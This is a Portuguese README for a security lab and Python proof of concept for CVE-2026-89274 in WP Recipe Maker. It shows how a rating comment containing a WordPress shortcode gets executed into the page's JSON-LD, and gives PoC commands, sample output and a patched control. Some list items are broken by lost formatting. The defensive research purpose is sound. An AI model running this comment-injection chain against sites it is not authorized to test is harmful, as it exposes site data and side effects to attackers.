Laboratório de validação Docker e PoC em Python para CVE-2026-89274, comprovando execução arbitrária de shortcode no WP Recipe Maker <= 10.8.1 via rating-comment reviewBody.
Material de pesquisa de segurança para reproduzir e validar o CVE-2026-89274: WP Recipe Maker <= 10.8.1 executa shortcodes arbitrários registrados do WordPress dentro dos metadados JSON-LD da receita, inseridos por meio de um comentário de avaliação aprovado.
do_shortcode_safe apenas de remoção)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94Use apenas em sistemas que você possui ou está explicitamente autorizado a testar. O PoC publica um comentário de avaliação contendo um shortcode marcador registrado no laboratório. Nenhum shortcode destrutivo é usado e nada é gravado em disco.
Status: comprovado no laboratório fornecido.
WP Recipe Maker 10.8.1 (WordPress 7.1.2, modelo padrão de cartão de receita):
comment posted : "[cve89274]" + wprm-comment-rating=5 on the recipe's parent post
result : JSON-LD on the rendered page contains
"reviewBody":"CVE89274-SHORTCODE-FIRED"
(marker shortcode executed server-side at render time)
10.8.2 : shortcode stripped, marker absent (patched negative control)
Isso demonstra a execução no lado do servidor de um shortcode arbitrário registrado com a saída incorporada nos metadados da página, divulgada a todos os visitantes. Isso não demonstra RCE; o impacto depende de quais shortcodes estão registrados no alvo (exposição de post/meta, shortcodes fornecidos por plugins com efeitos colaterais).
WPRM_Metadata::sanitize_metadata() sanitiza recursivamente cada campo escalar
do array de metadados estruturados da receita:
// includes/public/class-wprm-metadata.php:553, WP Recipe Maker 10.8.1
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
// 10.8.2
$sanitized = strip_shortcodes( wp_strip_all_tags( WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
do_shortcode() executa o shortcode primeiro; o wrapper strip_shortcodes()
apenas remove as tags da saída já executada. Um dos campos, reviewBody, é
preenchido literalmente a partir de comment_content de comentários aprovados
que possuem um valor de meta wprm-comment-rating
(class-wprm-metadata.php:1016), consultado em relação ao post pai da receita
(post_id => $recipe->parent_post_id(), linha 973) - o post ou página
onde o cartão de receita está incorporado.
A substituição na 10.8.2, WPRM_Instacart::do_shortcode_safe()
(class-wprm-instacart.php:501), mantém apenas o conteúdo interno e não executa
nada.
[wprm-recipe])./wp-comments-post.php com o shortcode no corpo
e wprm-comment-rating=5.review do JSON-LD, e
sanitize_metadata() executa o shortcode. Sua saída substitui o
texto do comentário dentro de reviewBody, visível a todos os visitantes.Requisitos: Docker com Compose v2, Python 3.10+ no host.
./lab verify
Compila o laboratório 10.8.1, exige que o marcador seja acionado, depois compila o laboratório
10.8.2 e exige sua ausência. Remova tudo com ./lab reset.
Controle vulnerável:
[!!!] SHORTCODE EXECUTION CONFIRMED
evidence: 'CVE89274-SHORTCODE-FIRED' present in the rendered recipe page
context : ..."reviewBody":"CVE89274-SHORTCODE-FIRED","author":...
RESULT: VULNERABLE CONTROL CONFIRMED
Controle corrigido:
[=] shortcode text present but NOT executed: output was stripped
RESULT: PATCHED CONTROL CONFIRMED
Um marcador na página apenas dentro do comentário exibido (texto bruto) não é aceito como prova; o marcador deve aparecer como saída executada nos metadados.
./lab start vulnerable # 10.8.1 lab on http://127.0.0.1:9482
./lab test # assert marker fires
./lab start patched # 10.8.2 lab
./lab test # assert absence
./lab status
./lab reset
Execute o PoC manualmente (loopback por padrão; alvos externos autorizados precisam da substituição explícita):
python3 poc/poc_cve_2026_89274.py --url http://127.0.0.1:9482 --post-id 5
python3 poc/poc_cve_2026_89274.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
O template do nuclei (nuclei/cve-2026-89274.yaml) é apenas uma verificação de versão
(readme.txt stable tag <= 10.8.1). A cadeia comportamental exige o envio de comentário
mais uma transição de aprovação, o que não é prático de expressar no
nuclei; o PoC em Python executa o fluxo completo.
| Versão | Avaliação |
|---|---|
| WP Recipe Maker 10.8.1 | Execução de shortcode reproduzida de ponta a ponta |
| WP Recipe Maker 10.8.2 | Controle negativo corrigido reproduzido |
| WP Recipe Maker <= 10.8.0 | Afetado conforme o aviso; não testado individualmente |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-89274.yaml
└── poc/
└── poc_cve_2026_89274.py
Não versionado: assets/ (zips de plugins), .lab-state, __pycache__/.
| Afirmação | Status |
|---|---|
| Execução de shortcode via reviewBody de comentário de avaliação | Comprovado (10.8.1) |
| Saída de execução divulgada no JSON-LD renderizado | Comprovado |
| Controle negativo corrigido (10.8.2) | Comprovado |
| Configuração padrão (CPT de receita privada + post pai) | Comprovado (esta é a topologia do laboratório) |
| Configuração de tipo de post de receita pública | Não testado |
| Endpoint REST de avaliação do próprio WPRM como entrada alternativa | Não testado |
| Impacto além da saída de shortcode registrado (RCE) | Não alegado |
Execute este repositório apenas em sistemas que você possui ou está explicitamente autorizado a
testar. O driver do laboratório recusa variantes diferentes de vulnerable/patched, o
PoC recusa alvos que não sejam loopback, a menos que --allow-authorized-non-loopback seja
fornecido, e a porta do Compose está vinculada a 127.0.0.1.
Consulte SECURITY.md para o tratamento de divulgação. Este repositório não inclui alvos de produção, dados de clientes, tokens de acesso ou evidências de sistemas reais.
MIT - consulte LICENSE.